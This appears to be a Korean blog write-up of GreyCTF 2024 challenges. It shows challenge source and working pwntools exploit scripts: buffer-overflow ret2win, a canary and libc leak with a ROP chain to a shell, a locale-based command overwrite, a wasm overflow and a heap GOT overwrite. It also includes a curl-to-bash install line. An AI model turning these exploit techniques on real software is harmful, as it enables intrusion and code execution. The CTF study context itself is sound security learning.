[solved]
[web/GreyCTF Survey]
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const port = 3000
const config = require("./config.json");
app.use(bodyParser.json())
app.use("/", express.static("static"))
let score = -0.42069;
app.get("/status", async (req, res)=>{
return res.status(200).json({
"error": false,
"data": score
});
})
app.post('/vote', async (req, res) => {
const {vote} = req.body;
console.log('vote: '+vote);
if(typeof vote != 'number') {
return res.status(400).json({
"error": true,
"msg":"Vote must be a number"
});
}
if(vote < 1 && vote > -1) {
console.log('befor add : '+score);
console.log('vote: '+parseInt(vote));
score += parseInt(vote);
console.log('after add: '+score);
if(score > 1) {
score = -0.42069;
return res.status(200).json({
"error": false,
"msg": config.flag,
});
}
return res.status(200).json({
"error": false,
"data": score,
"msg": "Vote submitted successfully"
});
} else {
return res.status(400).json({
"error": true,
"msg":"Invalid vote"
});
}
})
app.listen(port, () => {
console.log(`Survey listening on port ${port}`)
})
parseInt로 float을 int로 변환하여 score를 계산한다.
float의 값이 -1~1 사이의 값이어야 한다.
https://ko.javascript.info/number
여기 내용을 읽어보면 숫자를 표현할 때 e를 사용하는 방식이 존재한다.
버프스위트로 vote 값을 조절해주면 된다.
[web/Baby Web]
import os
from flask import Flask, render_template, session
app = Flask(__name__)
app.secret_key = "baby-web"
FLAG = os.getenv("FLAG", r"grey{fake_flag}")
@app.route("/", methods=["GET"])
def index():
# Set session if not found
if "is_admin" not in session:
session["is_admin"] = False
return render_template("index.html")
@app.route("/admin")
def admin():
# Check if the user is admin through cookies
return render_template("admin.html", flag=FLAG, is_admin=session.get("is_admin"))
### Some other hidden code ###
if __name__ == "__main__":
app.run(debug=True)
/에서 세션을 만들어준다.
/admin으로 가보면 다음과 같은데
소스 코드를 보면 버튼이 숨겨져 있다.
hidden을 지워주면 버튼이 나타나고 클릭하면 플래그를 보여준다.
[pwn/Baby Goods]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char username[0x20];
int menu(char name[0x20]);
int sub_15210123() {
execve("/bin/sh", 0, 0);
}
int buildpram() {
char buf[0x10];
char size[4];
int num;
printf("\nChoose the size of the pram (1-5): ");
fgets(size,4,stdin);
size[strcspn(size, "\r\n")] = '\0';
num = atoi(size);
if (1 > num || 5 < num) {
printf("\nInvalid size!\n");
return 0;
}
printf("\nYour pram has been created! Give it a name: ");
//buffer overflow! user can pop shell directly from here
gets(buf);
printf("\nNew pram %s of size %s has been created!\n", buf, size);
return 0;
}
int exitshop() {
puts("\nThank you for visiting babygoods!\n");
exit(0);
}
int menu(char name[0x20]) {
char input[4];
do {
printf("\nHello %s!\n", name);
printf("Welcome to babygoods, where we provide the best custom baby goods!\nWhat would you like to do today?\n");
printf("1: Build new pram\n");
printf("2: Exit\n");
printf("Input: ");
fgets(input, 4, stdin);
input[strcspn(input, "\r\n")] = '\0';
switch (atoi(input))
{
case 1:
buildpram();
break;
default:
printf("\nInvalid input!\n==========\n");
menu(name);
}
} while (atoi(input) != 2);
exitshop();
}
int main() {
setbuf(stdin, 0);
setbuf(stdout, 0);
printf("Enter your name: ");
fgets(username,0x20,stdin);
username[strcspn(username, "\r\n")] = '\0';
menu(username);
return 0;
}
canary, pie 안 걸려있는 단순한 bof
from pwn import *
# p = process('./babygoods')
p = remote('challs.nusgreyhats.org', 32345)
win = 0x401236
p.sendlineafter(b'name:',b'ssongk')
p.sendlineafter(b'Input:',b'1')
p.sendlineafter(b'(1-5):',b'1')
pay = b'a'*0x28 + p64(win)
p.sendlineafter(b'name:',pay)
p.interactive()
[pwn/The Motorola]
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
char* pin;
// this is the better print, because i'm cool like that ;)
void slow_type(char* msg) {
int i = 0;
while (1) {
if (!msg[i])
return;
putchar(msg[i]);
usleep(5000);
i += 1;
}
}
void view_message() {
int fd = open("./flag.txt", O_RDONLY);
char* flag = calloc(0x50, sizeof(char));
read(fd , flag, 0x50);
close(fd);
slow_type("\n\e[1;93mAfter several intense attempts, you successfully breach the phone's defenses.\nUnlocking its secrets, you uncover a massive revelation that holds the power to reshape everything.\nThe once-elusive truth is now in your hands, but little do you know, the plot deepens, and the journey through the clandestine hideout takes an unexpected turn, becoming even more complicated.\n\e[0m");
printf("\n%s\n", flag);
exit(0);
}
void retrieve_pin(){
FILE* f = fopen("./pin", "r");
pin = malloc(0x40);
memset(pin, 0, 0x40);
fread(pin, 0x30, 0x1, f);
fclose(f);
}
void login() {
char attempt[0x30];
int count = 5;
for (int i = 0; i < 5; i++) {
memset(attempt, 0, 0x30);
printf("\e[1;91m%d TRIES LEFT.\n\e[0m", 5-i);
printf("PIN: ");
scanf("%s", attempt);
if (!strcmp(attempt, pin)) {
view_message();
}
}
slow_type("\n\e[1;33mAfter five unsuccessful attempts, the phone begins to emit an alarming heat, escalating to a point of no return. In a sudden burst of intensity, it explodes, sealing your fate.\e[0m\n\n");
}
void banner() {
slow_type("\e[1;33mAs you breached the final door to TACYERG's hideout, anticipation surged.\nYet, the room defied expectations – disorder reigned, furniture overturned, documents scattered, and the vault empty.\n'Yet another dead end,' you muttered under your breath.\nAs you sighed and prepared to leave, a glint caught your eye: a cellphone tucked away under unkempt sheets in a corner.\nRecognizing it as potentially the last piece of evidence you have yet to find, you picked it up with a growing sense of anticipation.\n\n\e[0m");
puts(" .--.");
puts(" | | ");
puts(" | | ");
puts(" | | ");
puts(" | | ");
puts(" _.-----------._ | | ");
puts(" .-' __ `-. | ");
puts(" .' .' `. `.| ");
puts(" ; : : ; ");
puts(" | `.__.' | ");
puts(" | ___ | ");
puts(" | (_M_) M O T O R A L A | ");
puts(" | .---------------------. | ");
puts(" | | | | ");
puts(" | | \e[0;91mYOU HAVE\e[0m | | ");
puts(" | | \e[0;91m1 UNREAD MESSAGE.\e[0m | | ");
puts(" | | | | ");
puts(" | | \e[0;91mUNLOCK TO VIEW.\e[0m | | ");
puts(" | | | | ");
puts(" | `---------------------' | ");
puts(" | | ");
puts(" | __ | ");
puts(" | ________ .-~~__~~-. | ");
puts(" | |___C___/ / .' `. \\ | ");
puts(" | ______ ; : OK : ; | ");
puts(" | |__A___| | _`.__.'_ | | ");
puts(" | _______ ; \\< | | >/ ; | ");
puts(" | [_=] \n");
slow_type("\e[1;94mLocked behind a PIN, you attempt to find a way to break into the cellphone, despite only having 5 tries.\e[0m\n\n");
}
void init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
retrieve_pin();
printf("\e[2J\e[H");
}
int main() {
init();
banner();
login();
}
pie 안 걸려있는 단순한 bof
from pwn import *
# p = process('./chall')
p = remote('challs.nusgreyhats.org', 30211)
win = 0x000000000040139f
for _ in range(4):
p.sendlineafter(b'PIN:',b'test')
pay = b'a'*0x40+ p64(0x404800) + p64(win)
p.sendlineafter(b'PIN:',pay)
p.interactive()
[pwn/Slingring Factory]
main에서 fsb가 터진다.
이걸로 카나리 릭을 수행한다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[6]; // [rsp+2h] [rbp-Eh] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setup(argc, argv, envp);
puts("What is your name?");
fgets(s, 6, stdin);
printf("Hello, ");
printf(s);
putchar('\n');
fflush(stdin);
menu();
}
1~4까지 메뉴를 고를 수 있다.
void __noreturn menu()
{
int v0; // eax
char s[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
while ( 1 )
{
cls();
puts("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");
puts("Welcome to my secret sling ring factory.");
puts("What do you want to do today?\n");
puts("1. Show Forged Rings");
puts("2. Forge Sling Ring");
puts("3. Discard Sling Ring");
puts("4. Use Sling Ring");
printf(">> ");
fgets(s, 4, stdin);
fflush(stdin);
putchar('\n');
v0 = atoi(s);
if ( v0 == 4 )
{
use_slingring();
exit(0);
}
if ( v0 > 4 )
{
LABEL_12:
puts("Invalid input!");
puts("Press ENTER to go back...");
getchar();
}
else
{
switch ( v0 )
{
case 3:
discard_slingring();
break;
case 1:
show_slingrings();
break;
case 2:
forge_slingring();
break;
default:
goto LABEL_12;
}
}
}
}
1번 메뉴로 반지를 볼 수 있다.
int show_slingrings()
{
int i; // [rsp+Ch] [rbp-4h]
announcement();
puts("[Slot] | [Amt] | [Destination]");
for ( i = 0; i <= 9; ++i )
{
if ( *((_QWORD *)&rings + i) )
printf(
"Ring Slot #%d | [%d] | %s\n",
(unsigned int)i,
*(unsigned int *)(*((_QWORD *)&rings + i) + 0x80LL),
*((const char **)&rings + i));
else
printf("Ring Slot #%d | EMPTY\n", (unsigned int)i);
}
cls();
puts("Press ENTER to return.");
return getchar();
}
2번 메뉴로 반지를 생성할 수 있다.
unsigned __int64 forge_slingring()
{
int idx; // [rsp+8h] [rbp-118h]
int ring_count; // [rsp+Ch] [rbp-114h]
char s[128]; // [rsp+10h] [rbp-110h] BYREF
char v4; // [rsp+90h] [rbp-90h]
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Welcome to the ring forge!");
puts("Which slot do you want to store it in? (0-9)\nThis will override any existing rings!");
fgets(s, 4, stdin);
idx = atoi(s);
fflush(stdin);
if ( (unsigned int)idx >= 0xA )
goto LABEL_2;
puts("Enter destination location:");
fgets(s, 0x80, stdin);
v4 = s[0];
fflush(stdin);
puts("Enter amount of rings you want to forge (1-9):");
fgets(s, 4, stdin);
ring_count = atoi(s);
fflush(stdin);
if ( ring_count > 9 )
goto LABEL_2;
if ( ring_count > 0 )
{
*((_QWORD *)&rings + idx) = malloc(0x84uLL);// 0x90
*(_DWORD *)(*((_QWORD *)&rings + idx) + 0x80LL) = ring_count;
**((_BYTE **)&rings + idx) = v4;
announcement();
puts("New ring forged!");
printf(
"%d rings going to location [%s] forged and placed in slot %d.\n",
*(unsigned int *)(*((_QWORD *)&rings + idx) + 0x80LL),
*((const char **)&rings + idx),
(unsigned int)idx);
cls();
puts("Press ENTER to return.");
getchar();
}
else
{
LABEL_2:
errorcl();
puts("Invalid amount!");
puts("Press ENTER to go back...");
getchar();
}
return v5 - __readfsqword(0x28u);
}
3번 메뉴로 반지를 버릴 수 있다.
unsigned __int64 discard_slingring()
{
int v1; // [rsp+0h] [rbp-10h]
char s[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Which ring would you like to discard?");
fgets(s, 4, stdin);
fflush(stdin);
v1 = atoi(s);
if ( (unsigned int)v1 < 0xA )
{
announcement();
if ( *((_QWORD *)&rings + v1) )
{
free(*((void **)&rings + v1));
printf("Ring Slot #%d has been discarded.\n", (unsigned int)v1);
cls();
}
else
{
puts("The ring slot is already empty!");
}
}
else
{
errorcl();
puts("Invalid index!");
puts("Press ENTER to go back...");
getchar();
}
return v3 - __readfsqword(0x28u);
}
4번 메뉴로 반지를 사용할 수 있다.
fgets에서 bof가 터진다.
int use_slingring()
{
char s[4]; // [rsp+Ch] [rbp-44h] BYREF
char v2[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v3; // [rsp+48h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Which ring would you like to use (id): ");
fgets(s, 4, stdin);
fflush(stdin);
atoi(s);
printf("\nPlease enter the spell: ");
fgets(v2, 0x100, stdin);
puts("\nThank you for visiting our factory! We will now transport you.");
return puts("\nTransporting...");
}
canart, libc 릭을 하면 bof로 rop 트리거할 수 있다.
청크 크기가 0x90이어서 fastbin 크기를 벗어난다.
그래서 tcache가 가득 채워지면 unsorted bin에 등록된다.
fd, bk에 메인 아레나 주소가 저장될테니 그걸로 libc 릭을 수행하면 된다.
from pwn import *
context.log_level = 'debug'
# p = process('./slingring_factory')
p = remote('challs.nusgreyhats.org', 35678)
def show_slingrings():
p.sendlineafter(b'>>',b'1')
def forge_slingring(idx,location,count):
p.sendlineafter(b'>>',b'2')
p.sendlineafter(b'rings!',str(idx).encode())
p.sendlineafter(b'location:',location)
p.sendlineafter(b'(1-9):',str(count).encode())
p.sendafter(b'return',b'\n')
def discard_slingring(idx):
p.sendlineafter(b'>>',b'3')
p.sendlineafter(b'discard?',str(idx).encode())
def use_slingring(pay):
p.sendlineafter(b'>>',b'4')
p.sendlineafter(b'(id):',b'4')
p.sendlineafter(b'spell:',pay)
p.sendlineafter(b'name?',b'%7$p')
p.recvuntil(b'Hello, ')
canary = int(p.recvline()[:-1],16)
print('[canary]',hex(canary))
for i in range(10):
forge_slingring(i,b'a',5)
for i in range(8):
discard_slingring(i)
show_slingrings()
for _ in range(9):
p.recvline()
p.recvuntil(b'| ')
p.recvuntil(b'| ')
libc = u64(p.recvline()[:-1]+b'\x00'*2) - 0x21ace0
print('[libc]',hex(libc))
p.sendafter(b'return',b'\n')
system = libc + 0x50d70
binsh = libc + 0x1d8678
pop_rdi = libc + 0x2a3e5
ret = libc + 0x29139
pay = b'a'*0x38 + p64(canary) + b'a'*8
pay += p64(ret)
pay += p64(pop_rdi) + p64(binsh)
pay += p64(system)
use_slingring(pay)
p.interactive()
[unsolved]
[pwn/Baby fmtstr]
풀고 싶었는데 잘 안됐던 문제
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <locale.h>
void setup(){
setvbuf(stdout, NULL, _IONBF, 0);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
}
char output[0x20];
char command[0x20];
void goodbye(){
puts("Adiós!");
system(command);
}
void print_time(){
time_t now;
struct tm *time_struct;
char input[0x20];
char buf[0x30];
time(&now);
time_struct = localtime(&now);
printf("The time now is %d.\nEnter format specifier: ", now);
fgets(input, 0x20, stdin);
for(int i = 0; i < strlen(input)-1; i++){
if(i % 2 == 0 && input[i] != '%'){
puts("Only format specifiers allowed!");
exit(0);
}
}
strftime(buf, 0x30, input, time_struct);
// remove newline at the end
buf[strlen(buf)-1] = '\0';
memcpy(output, buf, strlen(buf));
printf("Formatted: %s\n", output);
}
void set_locale(){
char input[0x20];
printf("Enter new locale: ");
fgets(input, 0x20, stdin);
char *result = setlocale(LC_TIME, input);
if(result == NULL){
puts("Failed to set locale :(");
puts("Run locale -a for a list of valid locales.");
}else{
puts("Locale changed successfully!");
}
}
int main(){
int choice = 0;
setup();
strcpy(command, "ls");
while (1){
puts("Welcome to international time converter!");
puts("Menu:");
puts("1. Print time");
puts("2. Change language");
puts("3. Exit");
printf("> ");
scanf("%d", &choice);
getchar();
if(choice == 1){
print_time();
}else if(choice == 2){
set_locale();
}else{
goodbye();
}
puts("");
}
}
locale 변경하는 거 로컬에서 시도 했었는데 가능한 곳이 아무곳도 없었는데 리모트에선 아니였나보다
예를 들어, 남아프리카(st_ZA.utf8)에선 Dec(December)가 Tsh가 된다고 한다.
이렇게 sh가 나오는 형식 지정자를 찾아서 bof로 command에 집어넣어야 한다고 한다.
요렇게 전수조사 할 수도 있다고 한다.
(지금은 12월이 아니므로 해야할 것 같다..)
import locale
import os
import datetime
locales = os.popen("locale -a").read().split("\n")
locales = [x for x in locales if '.' in x]
now = datetime.datetime.now()
possible = ["%a", "%A", "%b", "%B", "%p"]
target = b"sh"
for loc in locales:
locale.setlocale(locale.LC_TIME, loc)
for fmtstr in possible:
result = now.strftime(fmtstr).encode()
if len(result) == 0:
continue
if result[-2:] == target:
print(loc, fmtstr)
exit(0)
print("Not found :(")
# from ctflib.pwn import *
from pwn import *
e = ELF("distribution/fmtstr")
context.binary = e
def setup():
p = remote("localhost",31234)
return p
def print_time(p, enter_format_specifier: bytes):
assert all(
x == ord("%") for i, x in enumerate(enter_format_specifier) if i % 2 == 0
), "Invalid format string"
p.sendafter(b">", b"1\n")
p.sendlineafter(b"Enter format specifier:", enter_format_specifier)
p.recvuntil("Formatted: ")
return p.recvline(keepends=False)
def set_locale(p, enter_new_locale: bytes):
p.sendafter(b">", b"2\n")
p.sendlineafter(b"Enter new locale:", enter_new_locale)
if __name__ == "__main__":
p = setup()
buf_size = 0x20
# %G will be the year (4 characters)
locale = b"xh_ZA.utf8"
format = b"%b"
out = b"Tsh"
size = buf_size - len(out) + 2
years = size // 4
set_locale(p, locale)
pl = b"%G" * years + b"%%" * (size - years * 4) + format
print(pl)
print_time(p, pl)
p.sendline("3")
p.recvuntil("!")
p.recvuntil("!")
p.sendline("cat flag.txt")
p.interactive()
[pwn/The Motorola 2]
web assembly ㄷㄷ..
라업은 다음과 같다.
from pwn import *
import os
# p = process(["wasmtime", "--dir", "./", "./chall"])
p = remote("localhost", 30212)
# (gdb) dump memory out.bin 0x7ffe779fb2d1 0x7ffe779fb7e0
lol = open("./out.bin", "rb").read().replace(b"\n", b"\x00")
# simple buffer overflow, but not to overwrite the global dlmalloc structures
# https://github.com/WebAssembly/wasi-libc/issues/233
# https://github.com/bytecodealliance/wasm-micro-runtime/issues/539#issuecomment-784229600
p.sendlineafter(b"PIN:", b"\x00" + lol)
p.interactive()
wasmtime 이라는 걸로 실행시킬 수 있나보다.
(설치는 이렇게)
curl https://wasmtime.dev/install.sh -sSf | bash
그 다음은 잘 모르겠다..
왜 저기를 덤프 뜨는 거지..?
일단 대충 따라해보니까 플래그는 나왔다.
wasm의 선형 메모리 머시기는 나중에 한 번 공부해봐야겠다..
from pwn import *
import os
# p = process(["wasmtime", "--dir", "./", "./chall"])
p = remote("localhost", 5000)
# (gdb) dump memory out.bin 0x7f94600122d1 0x7f94600127e0
lol = open("./out.bin", "rb").read().replace(b"\n", b"\x00")
# simple buffer overflow, but not to overwrite the global dlmalloc structures
# https://github.com/WebAssembly/wasi-libc/issues/233
# https://github.com/bytecodealliance/wasm-micro-runtime/issues/539#issuecomment-784229600
p.sendlineafter(b"PIN:", b"\x00" + lol)
p.interactive()
[pwn/heapheapheap]
일단 라업만..
from pwn import *
context.binary = e = ELF("./service/challenge")
p = remote("localhost",33456)#process()
def add(p, s, l, v):
p.sendlineafter(b"Your choice: ", b"1")
p.sendlineafter(b"Enter length", str(l).encode())
p.sendlineafter(b"Enter string: ", s)
p.sendlineafter(b"Enter value: ", str(v).encode())
def edit(p, s, l, v):
p.sendlineafter(b"Your choice: ", b"2")
p.sendlineafter(b"Enter length", str(l).encode())
p.sendlineafter(b"Enter string: ", s)
p.sendlineafter(b"Enter value: ", str(v).encode())
def delete(p):
p.sendlineafter(b"Your choice: ", b"3")
p.recvuntil(b"The largest element is '")
string = p.recvuntil(b"'")[:-1]
p.recvuntil(b"with a value of ")
return string, int(p.recvline())
if __name__ == '__main__':
# Massive amounts of heap manipulation
add(p, b"aaa", 1000, 1337) # Top chunk
add(p, b"bbb", 40, 1336) # Chunk 2
edit(p, b"aaa", 400, 1335)
edit(p, b"bbb", 560, 1334)
edit(p, b"aaa", 384, 1333)
add(p, b"ccc", 10, 1300)
edit(p, b"bbb", 10, 1330)
p.recvuntil(b"The heap:")
p.recvline()
p.recvline()
leak = int(p.recvline())
base = leak - 0x4b0
print(hex(base))
e.address = base - e.sym.mem
pl = b"a"*(1160-724)
# reconstruct overwritten chunk
pl += p64(1330) + p64(0) + p64(0) + p64(base + 0x220) + p64(0x2a2)
# Fake chunk header
# Try to keep most field constant. Heap will rebalance this chunk to the top soon (hopefully)
pl += b"\xff"*8 + p64(base + 0x208) + p64(0) + p64(base + 0x6bc) + p64(e.got.exit)
edit(p, pl, 1000, 1337)
edit(p, b"aaa", 10, base + 0x4b0)
edit(p, p64(e.sym.backdoor), 8, 1337)
p.interactive()
https://github.com/NUSGreyhats/greyctf24-challs-public/tree/main/quals
'CTF' 카테고리의 다른 글
TBTL CTF 2024 (Pwn) (0) | 2024.05.18 |
---|---|
San Diego CTF 2024 (Pwn) (0) | 2024.05.15 |
AmateursCTF 2024 (1) | 2024.04.10 |
[QWB CTF 2018] core (with write-up) (1) | 2024.04.04 |
ACSC 2024 Quals (0) | 2024.04.01 |